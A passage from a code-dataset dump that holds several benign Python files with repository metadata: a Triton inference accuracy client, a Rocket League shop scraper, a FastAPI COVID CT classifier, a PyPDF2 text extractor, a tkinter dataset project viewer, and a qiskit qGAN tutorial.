"datetime.datetime", "line_number": 60, "usage_type": "attribute"}]} {"seq_id": "72869454942", "text": "import argparse\nimport json\nimport os\n\nimport numpy as np\nimport torch\nimport torchvision.datasets as datasets\nimport torchvision.transforms as transforms\n\nfrom image_classification.dataloaders import get_pytorch_val_loader\n\nfrom tqdm import tqdm\n\nimport tritongrpcclient\nfrom tritonclientutils import InferenceServerException\n\n\ndef get_data_loader(batch_size, *, data_path):\n valdir = os.path.join(data_path, \"val-jpeg\")\n val_dataset = datasets.ImageFolder(\n valdir,\n transforms.Compose(\n [transforms.Resize(256), transforms.CenterCrop(224), transforms.ToTensor()]\n ),\n )\n\n val_loader = torch.utils.data.DataLoader(\n val_dataset, batch_size=batch_size, shuffle=False\n )\n\n return val_loader\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"--triton-server-url\",\n type=str,\n required=True,\n help=\"URL adress of trtion server (with port)\",\n )\n parser.add_argument(\n \"--triton-model-name\",\n type=str,\n required=True,\n help=\"Triton deployed model name\",\n )\n parser.add_argument(\n \"-v\", \"--verbose\", action=\"store_true\", default=False, help=\"Verbose mode.\"\n )\n\n parser.add_argument(\n \"--inference_data\", type=str, help=\"Path to file with inference data.\"\n )\n parser.add_argument(\n \"--batch_size\", type=int, default=1, help=\"Inference request batch size\"\n )\n parser.add_argument(\n \"--fp16\",\n action=\"store_true\",\n default=False,\n help=\"Use fp16 precision for input data\",\n )\n FLAGS = parser.parse_args()\n\n triton_client = tritongrpcclient.InferenceServerClient(\n url=FLAGS.triton_server_url, verbose=FLAGS.verbose\n )\n dataloader = get_data_loader(FLAGS.batch_size, data_path=FLAGS.inference_data)\n\n inputs = []\n inputs.append(\n tritongrpcclient.InferInput(\n \"input__0\",\n [FLAGS.batch_size, 3, 224, 224],\n \"FP16\" if FLAGS.fp16 else \"FP32\",\n )\n )\n\n outputs = []\n outputs.append(tritongrpcclient.InferRequestedOutput(\"output__0\"))\n\n all_img = 0\n cor_img = 0\n\n result_prev = None\n for image, target in tqdm(dataloader):\n if FLAGS.fp16:\n image = image.half()\n inputs[0].set_data_from_numpy(image.numpy())\n\n result = triton_client.infer(\n FLAGS.triton_model_name, inputs, outputs=outputs, headers=None\n )\n result = result.as_numpy(\"output__0\")\n result = np.argmax(result, axis=1)\n cor_img += np.sum(result == target.numpy())\n all_img += result.shape[0]\n\n acc = cor_img / all_img\n print(f\"Final accuracy {acc:.04f}\")\n", "repo_name": "Ascend/ModelZoo-PyTorch", "sub_path": "PyTorch/dev/cv/image_classification/SEResNext_ID0415_for_PyTorch/triton/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 2722, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 20, "usage_type": "call"}, {"api_name": "torchvision.datasets", "line_number": 20, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 22, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 22, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 23, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 23, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 23, "usage_type": "call"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 27, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 35, "usage_type": "call"}, {"api_name": "tritongrpcclient.InferenceServerClient", "line_number": 66, "usage_type": "call"}, {"api_name": "tritongrpcclient.InferInput", "line_number": 73, "usage_type": "call"}, {"api_name": "tritongrpcclient.InferRequestedOutput", "line_number": 81, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 87, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 97, "usage_type": "call"}]} {"seq_id": "13455128906", "text": "\"\"\"A simple script which will return the current Rocket League shop items in JSON format, according to data scraped from rocket-league.com\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\nimport httpx\n\n\ndef get_shop_items():\n scraper = httpx.Client(http2=True)\n\n URL = \"https://rocket-league.com/items/shop\"\n\n page = scraper.get(URL)\n soup = BeautifulSoup(page.content, \"html.parser\")\n print(soup.prettify())\n\n with open('./results.html', 'w') as f:\n f.write(soup.prettify())\n\n item_containers = soup.find_all(\"a\", {\"class\": \"rlg-item-shop__item\"})\n\n print(item_containers)\n\n shop_items = []\n\n for item in item_containers:\n shop_item = {}\n\n item_name = item.find_all(\"h1\", {\"class\": \"rlg-item-shop__name\"})\n item_color = item.find_all(\"div\", {\"class\": \"rlg-item-shop__paint\"})\n item_type = item.find_all(\n \"div\", {\"class\": \"rlg-item-shop__item-category\"})\n item_image_url = 'https://rocket-league.com' + \\\n item.find_all(\"img\")[0]['src']\n item_price = item.find_all(\n \"div\", {\"class\": \"rlg-item-shop__item-credits\"})\n\n try:\n shop_item['name'] = item_name[0].text.strip()\n except:\n shop_item['name'] = \"Error\"\n\n try:\n shop_item['paint'] = item_color[0].text.strip()\n except:\n shop_item['paint'] = \"Unpainted\"\n\n try:\n shop_item['image_url'] = item_image_url.strip()\n except:\n shop_item['image_url'] = \"No Image Found\"\n\n try:\n shop_item['type'] = item_type[0].text.strip()\n except:\n shop_item['type'] = \"Error\"\n\n try:\n shop_item['price'] = item_price[0].text.strip()\n except:\n shop_item['price'] = \"Error\"\n\n shop_items.append(shop_item)\n\n return (shop_items)\n\n\nif __name__ == '__main__':\n print(get_shop_items())", "repo_name": "Mister-SOSA/SOSABot", "sub_path": "resources/rlshop.py", "file_name": "rlshop.py", "file_ext": "py", "file_size_in_byte": 1915, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "7", "api": [{"api_name": "httpx.Client", "line_number": 9, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 14, "usage_type": "call"}]} {"seq_id": "19478808395", "text": "from model_metrics import *\nfrom inference import *\nfrom covid_classifier import *\n\nfrom fastapi import FastAPI, File, UploadFile\nfrom typing import List, Dict\nimport numpy as np\nimport cv2\nimport os\nimport warnings\n\n\napp = FastAPI()\n\nmodel = load_classifier_model(\"model_weights/best_weight_Dense_Net_v1.h5\")\n\ncovid_files_list = []\nnon_covid_files_list = []\n\n\n@app.post(\"/get_image_class\")\nasync def get_class(\n file: UploadFile = File(..., descripton=\"Upload an image of a CT Scan\")\n):\n \"\"\"\n Function that takes in an input image of and returns class_name as the output\n \"\"\"\n contents = await file.read()\n\n img = cv2.imdecode(np.frombuffer(contents, dtype=\"uint8\"), 1)\n\n rgb_img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n final_tensor = convert_image_arr_to_tensor(rgb_img)\n\n class_name = classify_image(model, final_tensor)\n\n out = {\"Class\": class_name}\n\n return out\n\n\n@app.post(\n \"/get_model_metrics\",\n summary=\"For model inference, you can either use the custom test data set which is already uploaded, or use your own dataset. Note: dataset should have two folders namely: Covid and Non_Covid\",\n description=\"Here Class 0 indicates that it falls in the Covid category and Class 1 indicates otherwise!\",\n)\nasync def get_metrics(\n covid_files: List[UploadFile] = File(...),\n non_covid_files: List[UploadFile] = File(...),\n):\n \"\"\"\n Function that takes in a list of covid/non_covid images to return model metrics. Here, we use the test dataset available in the data folder or use custom dataset.\n \"\"\"\n for file in covid_files:\n contents = await file.read()\n name = file.filename\n covid_files_list.append((name, contents))\n\n for file in non_covid_files:\n contents = await file.read()\n name = file.filename\n non_covid_files_list.append((name, contents))\n\n covid_count = len(covid_files_list)\n non_covid_count = len(non_covid_files_list)\n\n total_images = covid_count + non_covid_count\n\n tp, fp, fpl = covid_samples(covid_files_list, model)\n\n tn, fn, fnl = non_covid_samples(non_covid_files_list, model)\n\n a = get_accuracy(tp, tn, total_images)\n\n p = get_precision(tp, fp)\n\n r = get_recall(tn, fn)\n\n f1_score = get_f1_score(p, r)\n\n out = {\n \"Model_accuracy\": a,\n \"Model Precision\": p,\n \"Model Recall\": r,\n \"Model F1 score\": f1_score,\n \"List of false Positives\": fpl,\n \"List of False Negatives\": fnl,\n \"Length of Covid images\": covid_count,\n \"Length of of Non covid images\": non_covid_count,\n }\n\n return out\n\n\n@app.get(\"/\")\nasync def home():\n return {\"Api\": \"Live\"}\n", "repo_name": "Jaylodha97/Covid_Non_Covid_Classification", "sub_path": "my_api.py", "file_name": "my_api.py", "file_ext": "py", "file_size_in_byte": 2661, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "fastapi.FastAPI", "line_number": 13, "usage_type": "call"}, {"api_name": "fastapi.UploadFile", "line_number": 23, "usage_type": "name"}, {"api_name": "fastapi.File", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.imdecode", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.frombuffer", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 32, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 49, "usage_type": "name"}, {"api_name": "fastapi.UploadFile", "line_number": 49, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 50, "usage_type": "name"}, {"api_name": "fastapi.UploadFile", "line_number": 50, "usage_type": "name"}, {"api_name": "fastapi.File", "line_number": 49, "usage_type": "call"}, {"api_name": "fastapi.File", "line_number": 50, "usage_type": "call"}]} {"seq_id": "72296859742", "text": "import PyPDF2,os\r\n#it can only extract text from pdf and not other data\r\n#and have limited set of actions\r\n\r\n\r\npdfFile = open('meetingminutes.pdf','rb') #open in writing reading\r\nreader=PyPDF2.PdfFileReader(pdfFile)\r\nprint(reader.numPages)\r\n\r\npage =reader.getPage(1)\r\nprint(page.extractText())\r\n\r\n\r\n\r\nfor i in range(reader.numPages):\r\n\tprint(reader.getPage(i).extractText()) #will print entire pdf file\r\n\r\n", "repo_name": "asg-suraj/PythonBasicPrograms", "sub_path": "Beginner Python/excel_word_pdf_etc/pdfByPython.py", "file_name": "pdfByPython.py", "file_ext": "py", "file_size_in_byte": 406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PyPDF2.PdfFileReader", "line_number": 7, "usage_type": "call"}]} {"seq_id": "14673072143", "text": "import tkinter as tk\nfrom tkinter import Entry, Button, Label, Canvas, Scrollbar, Frame\nimport os\nimport random\nfrom PIL import Image, ImageTk\nimport json\n\n# Path to the cache file\ncache_path = 'dataset_cache.json'\n\n# This Python script creates a graphical user interface (GUI) application that allows users to navigate\n# through a structured dataset of projects. Each project is expected to be in its own directory within\n# the main dataset directory. Inside each project directory, there should be subdirectories for characters,\n# and an 'output' directory containing model files. Model files should follow the naming convention\n# '[ProjectName]_[SequentialNumber].safetensors'. The GUI displays cards for each project and allows\n# the user to view character images (if available) and lists of models. Users can search for projects by name\n# and refresh the displayed data.\n#\n# The folder structure should be as follows:\n# Dataset/\n# ├── ProjectA/\n# │ ├── Character1/\n# │ ├── Character2/\n# │ ├── ...\n# │ └── output/\n# │ ├── ProjectA_1.safetensors\n# │ ├── ProjectA_2.safetensors\n# │ └── ...\n# ├── ProjectB/\n# │ ├── Character1/\n# │ ├── Character2/\n# │ ├── ...\n# │ └── output/\n# │ ├── ProjectB_1.safetensors\n# │ ├── ProjectB_2.safetensors\n# │ └── ...\n# └── ...\n#\n# To use the application, set 'dataset_path' to the file system path of your main dataset directory.\n# For example:\n# dataset_path = 'C:\\\\Users\\\\YourName\\\\Documents\\\\Dataset'\n# or\n# dataset_path = '/home/yourname/Dataset'\n#\n# The application includes a caching system to speed up the loading process. Upon the first run, it creates\n# a 'dataset_cache.json' file which stores the structure of the dataset. Subsequent runs of the application\n# will load this cache to display the data quickly. Users can force a refresh of the data, which will\n# update the cache file with any changes made to the dataset directory.\n\n\ndef save_to_cache(data, path):\n # Saves data to a cache file in JSON format\n with open(path, 'w') as cache_file:\n json.dump(data, cache_file, indent=4)\n\ndef load_from_cache(path):\n # Loads data from a cache file if it exists\n try:\n with open(path, 'r') as cache_file:\n return json.load(cache_file)\n except FileNotFoundError:\n return None\n\ndef read_folder_structure(path):\n # Reads the folder structure and creates a dictionary with project data\n projects = {}\n for project_name in os.listdir(path):\n project_path = os.path.join(path, project_name)\n if os.path.isdir(project_path):\n projects[project_name] = {'characters': [], 'models': [], 'preview': None}\n for item in os.listdir(project_path):\n item_path = os.path.join(project_path, item)\n if os.path.isdir(item_path) and item != 'output':\n projects[project_name]['characters'].append(item)\n image_files = [file for file in os.listdir(item_path) if file.lower().endswith(('.png', '.jpg', '.jpeg'))]\n if image_files:\n preview_image = random.choice(image_files)\n projects[project_name]['preview'] = os.path.join(item_path, preview_image)\n elif item == 'output':\n models_path = os.path.join(item_path)\n for model in os.listdir(models_path):\n if model.endswith('.safetensors'):\n projects[project_name]['models'].append(os.path.join(models_path, model))\n return projects\n\ndef create_image_popup(image_path):\n # Creates a popup window to display a larger image\n popup = tk.Toplevel()\n popup.title('Image Preview')\n img = Image.open(image_path)\n img.thumbnail((800, 800), Image.Resampling.LANCZOS)\n photo = ImageTk.PhotoImage(img)\n label = tk.Label(popup, image=photo)\n label.image = photo # Keep a reference!\n label.pack()\n\ndef create_models_popup(project_data):\n # Creates a popup window to display available models for a project\n popup = tk.Toplevel()\n popup.title('Models')\n for model_path in project_data['models']:\n model_name = os.path.basename(model_path)\n btn_model = tk.Button(popup, text=model_name, command=lambda m=model_path: os.startfile(os.path.dirname(m)))\n btn_model.pack()\n\ndef refresh_data(root, scrollable_frame, projects):\n # Refreshes the GUI to display project cards\n for widget in scrollable_frame.winfo_children():\n widget.destroy()\n create_gui(root, scrollable_frame, projects)\n\ndef filter_projects(search_term, all_projects):\n # Filters projects based on a search term\n return {name: data for name, data in all_projects.items() if search_term.lower() in name.lower()}\n\ndef update_project_display(root, scrollable_frame, projects, search_term=''):\n # Updates the project display based on a search term or resets the display\n if search_term:\n filtered_projects = filter_projects(search_term, projects)\n refresh_data(root, scrollable_frame, filtered_projects)\n else:\n refresh_data(root, scrollable_frame, projects)\n\ndef create_gui(root, scrollable_frame, projects):\n # Creates the GUI layout, including a search bar and buttons\n if not hasattr(root, 'search_frame'):\n root.search_frame = Frame(root, bg='grey20')\n root.search_frame.pack(side='top', fill='x')\n root.search_entry = tk.Entry(root.search_frame)\n root.search_entry.pack(side='left', padx=(10, 0), pady=10)\n root.search_button = tk.Button(root.search_frame, text='Search', command=lambda: update_project_display(root, scrollable_frame, projects, root.search_entry.get()))\n root.search_button.pack(side='left', padx=10)\n root.reset_button = tk.Button(root.search_frame, text='Reset', command=lambda: update_project_display(root, scrollable_frame, projects))\n root.reset_button.pack(side='left', padx=10)\n\n # Variables for grid layout\n rows, cols = 6, 5\n row_count = col_count = 0\n\n # Create project cards\n for project_name, project_data in projects.items():\n card_frame = Frame(scrollable_frame, bg='grey20', borderwidth=2, relief=\"raised\")\n card_frame.grid(row=row_count, column=col_count, padx=10, pady=10, sticky='nsew')\n col_count += 1\n if col_count == cols:\n col_count = 0\n row_count += 1\n\n label = Label(card_frame, text=project_name, bg='grey20', fg='white')\n label.pack()\n label.bind('', lambda e, p=project_data: create_models_popup(p))\n\n if project_data['preview']:\n img = Image.open(project_data['preview'])\n img.thumbnail((100, 100), Image.Resampling.LANCZOS)\n photo = ImageTk.PhotoImage(img)\n label_img = Label(card_frame, image=photo, bg='grey20')\n label_img.image = photo # Keep a reference!\n label_img.pack()\n label_img.bind('', lambda e, i=project_data['preview']: create_image_popup(i))\n\n btn_show = Button(card_frame, text='Show in folder', bg='grey30', fg='white', \n command=lambda proj_path=project_data['preview']: os.startfile(os.path.dirname(proj_path)))\n btn_show.pack()\n\n for i in range(rows):\n scrollable_frame.grid_rowconfigure(i, weight=1)\n for i in range(cols):\n scrollable_frame.grid_columnconfigure(i, weight=1)\n\n # Add a button to update the data\n btn_refresh = Button(root, text='Update Data', command=lambda: refresh_data(root, scrollable_frame, read_folder_structure(dataset_path)))\n btn_refresh.pack(side='bottom')\n\ndef main():\n # Main function to run the application\n root = tk.Tk()\n root.title('Project Explorer')\n root.configure(bg='black')\n root.geometry('1200x800') # Default size to display 6x5 cards\n\n canvas = Canvas(root, borderwidth=0, bg='black')\n scrollable_frame = Frame(canvas, bg='black')\n vsb = Scrollbar(root, orient=\"vertical\", command=canvas.yview)\n canvas.configure(yscrollcommand=vsb.set)\n\n vsb.pack(side=\"right\", fill=\"y\")\n canvas.pack(side=\"left\", fill=\"both\", expand=True)\n canvas.create_window((4,4), window=scrollable_frame, anchor=\"nw\")\n\n scrollable_frame.bind(\"\", lambda event, canvas=canvas: canvas.configure(scrollregion=canvas.bbox(\"all\")))\n\n # Load cached data or create structure if no cache is present\n project_structure = load_from_cache(cache_path)\n if project_structure is None:\n project_structure = read_folder_structure(dataset_path)\n save_to_cache(project_structure, cache_path)\n\n create_gui(root, scrollable_frame, project_structure)\n\n root.mainloop()\n\nif __name__ == \"__main__\":\n dataset_path = 'X:\\\\' # Replace this with the actual path to your dataset\n main()\n", "repo_name": "AsaTyr2018/Dataset-Helper", "sub_path": "Stand-Alone-Scripts/Project-Viewer.py", "file_name": "Project-Viewer.py", "file_ext": "py", "file_size_in_byte": 8987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.dump", "line_number": 54, "usage_type": "call"}, {"api_name": "json.load", "line_number": 60, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 67, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 75, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "tkinter.Toplevel", "line_number": 88, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 90, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 90, "usage_type": "name"}, {"api_name": "PIL.Image.Resampling", "line_number": 91, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 91, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 92, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 92, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 93, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tkinter.Button", "line_number": 103, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 127, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 129, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 131, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 133, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 142, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 149, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 154, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 154, "usage_type": "name"}, {"api_name": "PIL.Image.Resampling", "line_number": 155, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 155, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 156, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 156, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 157, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 162, "usage_type": "call"}, {"api_name": "os.startfile", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "tkinter.Button", "line_number": 172, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 177, "usage_type": "call"}, {"api_name": "tkinter.Canvas", "line_number": 182, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 183, "usage_type": "call"}, {"api_name": "tkinter.Scrollbar", "line_number": 184, "usage_type": "call"}]} {"seq_id": "1702104650", "text": "import numpy as np\n\nimport matplotlib.pyplot as plt\n\nfrom qiskit import QuantumRegister, QuantumCircuit, BasicAer\nfrom qiskit.circuit.library import TwoLocal\n\nfrom qiskit.utils import QuantumInstance, algorithm_globals\nfrom qiskit_machine_learning.algorithms import NumPyDiscriminator, QGAN\n\nimport os\nplots_folder=\"plots/\"\nif not os.path.exists(plots_folder):\n\tos.mkdir(plots_folder)\n\nseed = 71\nnp.random.seed = seed\nalgorithm_globals.random_seed = seed\n\n# Number training data samples\nN = 1000\n\n# Load data samples from log-normal distribution with mean=1 and standard deviation=1\nmu = 1\nsigma = 1\nreal_data = np.random.lognormal(mean=mu, sigma=sigma, size=N)\n\n# Set the data resolution\n# Set upper and lower data values as list of k min/max data values [[min_0,max_0],...,[min_k-1,max_k-1]]\nbounds = np.array([0.0, 3.0])\n# Set number of qubits per data dimension as list of k qubit values[#q_0,...,#q_k-1]\nnum_qubits = [2]\nk = len(num_qubits)\n\n# Set number of training epochs\n# Note: The algorithm's runtime can be shortened by reducing the number of training epochs.\nnum_epochs = 10\n# Batch size\nbatch_size = 100\n\n# Initialize qGAN\nqgan = QGAN(real_data, bounds, num_qubits, batch_size, num_epochs, snapshot_dir=None)\nqgan.seed = 1\n# Set quantum instance to run the quantum generator\nquantum_instance = QuantumInstance(\n backend=BasicAer.get_backend(\"statevector_simulator\"), seed_transpiler=seed, seed_simulator=seed\n)\n\n# Set entangler map\nentangler_map = [[0, 1]]\n\n\n# Set an initial state for the generator circuit as a uniform distribution\n# This corresponds to applying Hadamard gates on all qubits\ninit_dist = QuantumCircuit(sum(num_qubits))\ninit_dist.h(init_dist.qubits)\nimport pdb; pdb.set_trace()\n# Set the ansatz circuit\nansatz = TwoLocal(int(np.sum(num_qubits)), \"ry\", \"cz\", entanglement=entangler_map, reps=1)\n\n# Set generator's initial parameters - in order to reduce the training time and hence the\n# total running time for this notebook\ninit_params = [3.0, 1.0, 0.6, 1.6]\n\n# You can increase the number of training epochs and use random initial parameters.\n# init_params = np.random.rand(ansatz.num_parameters_settable) * 2 * np.pi\n\n# Set generator circuit by adding the initial distribution infront of the ansatz\ng_circuit = ansatz.compose(init_dist, front=True)\nprint(g_circuit)\n\n# Set quantum generator\nqgan.set_generator(generator_circuit=g_circuit, generator_init_params=init_params)\n# The parameters have an order issue that following is a temp. workaround\nqgan._generator._free_parameters = sorted(g_circuit.parameters, key=lambda p: p.name)\n# Set classical discriminator neural network\ndiscriminator = NumPyDiscriminator(len(num_qubits))\nqgan.set_discriminator(discriminator)\n\n# Run qGAN\nresult = qgan.run(quantum_instance)\n\nprint(\"Training results:\")\nfor key, value in result.items():\n print(f\" {key} : {value}\")\n\n# Plot progress w.r.t the generator's and the discriminator's loss function\nt_steps = np.arange(num_epochs)\nplt.figure(figsize=(6, 5))\nplt.title(\"Progress in the loss function\")\nplt.plot(\n t_steps, qgan.g_loss, label=\"Generator loss function\", color=\"mediumvioletred\", linewidth=2\n)\nplt.plot(\n t_steps, qgan.d_loss, label=\"Discriminator loss function\", color=\"rebeccapurple\", linewidth=2\n)\nplt.grid()\nplt.legend(loc=\"best\")\nplt.xlabel(\"time steps\")\nplt.ylabel(\"loss\")\nplt.savefig(plots_folder+\"04_qgan_loss.png\")\n\n# Plot progress w.r.t relative entropy\nplt.figure(figsize=(6, 5))\nplt.title(\"Relative Entropy\")\nplt.plot(\n np.linspace(0, num_epochs, len(qgan.rel_entr)), qgan.rel_entr, color=\"mediumblue\", lw=4, ls=\":\"\n)\nplt.grid()\nplt.xlabel(\"time steps\")\nplt.ylabel(\"relative entropy\")\nplt.savefig(plots_folder+\"04_qgan_entropy.png\")\n\n# Plot the CDF of the resulting distribution against the target distribution, i.e. log-normal\nlog_normal = np.random.lognormal(mean=1, sigma=1, size=100000)\nlog_normal = np.round(log_normal)\nlog_normal = log_normal[log_normal <= bounds[1]]\ntemp = []\nfor i in range(int(bounds[1] + 1)):\n temp += [np.sum(log_normal == i)]\nlog_normal = np.array(temp / sum(temp))\n\nplt.figure(figsize=(6, 5))\nplt.title(\"CDF (Cumulative Distribution Function)\")\nsamples_g, prob_g = qgan.generator.get_output(qgan.quantum_instance, shots=10000)\nsamples_g = np.array(samples_g)\nsamples_g = samples_g.flatten()\nnum_bins = len(prob_g)\nplt.bar(samples_g, np.cumsum(prob_g), color=\"royalblue\", width=0.8, label=\"simulation\")\nplt.plot(\n np.cumsum(log_normal), \"-o\", label=\"log-normal\", color=\"deepskyblue\", linewidth=4, markersize=12\n)\nplt.xticks(np.arange(min(samples_g), max(samples_g) + 1, 1.0))\nplt.grid()\nplt.xlabel(\"x\")\nplt.ylabel(\"p(x)\")\nplt.legend(loc=\"best\")\nplt.savefig(plots_folder+\"04_qgan_cdf.png\")\n\n'''\n ┌───┐┌────────────────────────────────┐\nq_0: ┤ H ├┤0 ├\n ├───┤│ TwoLocal(θ[0],θ[1],θ[2],θ[3]) │\nq_1: ┤ H ├┤1 ├\n └───┘└────────────────────────────────┘\nTraining results:\n params_d : [ 0.03889946 0.60813072 -0.47890304 ... -0.1642739 -0.20384979\n -0.08435418]\n params_g : [2.97596333 0.97596726 0.57597197 1.62401059]\n loss_d : 0.6929\n loss_g : [0.6777]\n rel_entr : 0.1203\n'''\n", "repo_name": "dberga/quantum-experiments", "sub_path": "qiskit_tutorials/04_qgan_ansatz.py", "file_name": "04_qgan_ansatz.py", "file_ext": "py", "file_size_in_byte": 5333, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 17, "usage_type": "attribute"}, {"api_name": "qiskit.utils.algorithm_globals.random_seed", "line_number": 18, "usage_type": "attribute"}, {"api_name": "qiskit.utils.algorithm_globals", "line_number": 18, "usage_type": "name"}, {"api_name": "numpy.random.lognormal", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}, {"api_name": "qiskit_machine_learning.algorithms.QGAN", "line_number": 42, "usage_type": "call"}, {"api_name": "qiskit.utils.QuantumInstance", "line_number": 45, "usage_type": "call"}, {"api_name": "qiskit.BasicAer.get_backend", "line_number": 46, "usage_type": "call"}, {"api_name": "qiskit.BasicAer", "line_number": 46, "usage_type": "name"}, {"api_name": "qiskit.QuantumCircuit", "line_number": 55, "usage_type": "call"}, {"api_name": "pdb.set_trace", "line_number": 57, "usage_type": "call"}, {"api_name": "qiskit.circuit.library.TwoLocal", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 59, "usage_type": "call"}, {"api_name": "qiskit_machine_learning.algorithms.NumPyDiscriminator", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 90, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 91, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 99, "usage_type": "call"}, {"api_name": 